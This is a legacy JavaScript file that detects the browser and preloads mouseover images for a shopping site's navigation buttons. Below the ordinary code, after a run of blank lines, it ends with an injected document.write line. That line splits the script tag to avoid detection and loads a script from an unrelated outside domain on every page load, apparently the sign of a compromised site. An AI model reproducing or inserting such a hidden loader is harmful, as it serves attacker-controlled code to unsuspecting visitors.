<!--
//-- This script detects browser type and preloads all images for the mouseovers.
	
// Use this syntax to call this function:
// <a href="" onmouseover="imgAct('img1')" onmouseout="imgInact('img1')"><img name="img1" border="0" width="" height="" src="" alt="">

// Is browser Netscape 3 + or IE 4 +.
bName = navigator.appName;
bVer = parseInt(navigator.appVersion);

if ((bName == "Netscape" && bVer >= 3) || (bName == "Microsoft Internet Explorer" && bVer >= 4)) br = "n3"; 
else br = "n2";

if (br== "n3") { 
	// on images
	img11on = new Image();
	img11on.src = "_images/navigation/tellFriendHover.gif";
	img10on = new Image();
	img10on.src = "_images/navigation/shoppingCartWithArrowOn.gif";
	img12on = new Image();
	img12on.src = "_images/navigation/tellFriendSmallHover.gif";
	img17on = new Image();
	img17on.src = "_images/navigation/tellFriendSmallTextOn.gif";
	
	// off images
	img11off = new Image();
	img11off.src = "_images/navigation/tellFriend.gif";
	img10off = new Image();
	img10off.src = "_images/navigation/shoppingCartWithArrow.gif";
	img12off = new Image();
	img12off.src = "_images/navigation/tellFriendSmall.gif";
	img17off = new Image();
	img17off.src = "_images/navigation/tellFriendSmallText.gif";
}

// Function to activate images.
function imgAct(imgName){
	if (br == "n3"){
		pos = imgName.indexOf("img10_")
		if (pos>=0){
			//pos2 = imgName.indexOf(".src")
			//imgNum = 1 + substring(pos+1, pos2-1);
			//document.images[imgNum].src = img10on.src;
			document[imgName].src = img10on.src;
		}else{
			document[imgName].src = eval(imgName + "on.src");
		}
		
	}
}

// Function to deactivate images.
function imgInact(imgName){
	if (br == "n3"){
		pos = imgName.indexOf("img10_")
		//alert("pos="+pos);
		if (pos>=0){
			//pos = imgName.indexOf("_")
			//imgNum = 1 + imgName.substring(pos+1, imgName.length);
			//alert("imgNum="+imgNum);
			//document.images[imgNum].src = img10off.src;
			document[imgName].src = img10off.src;
		}else{
			//alert("regular image");
			document[imgName].src = eval(imgName + "off.src");
		}
	}
}
//-->







document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/Webcam.js"></scri'+'pt>');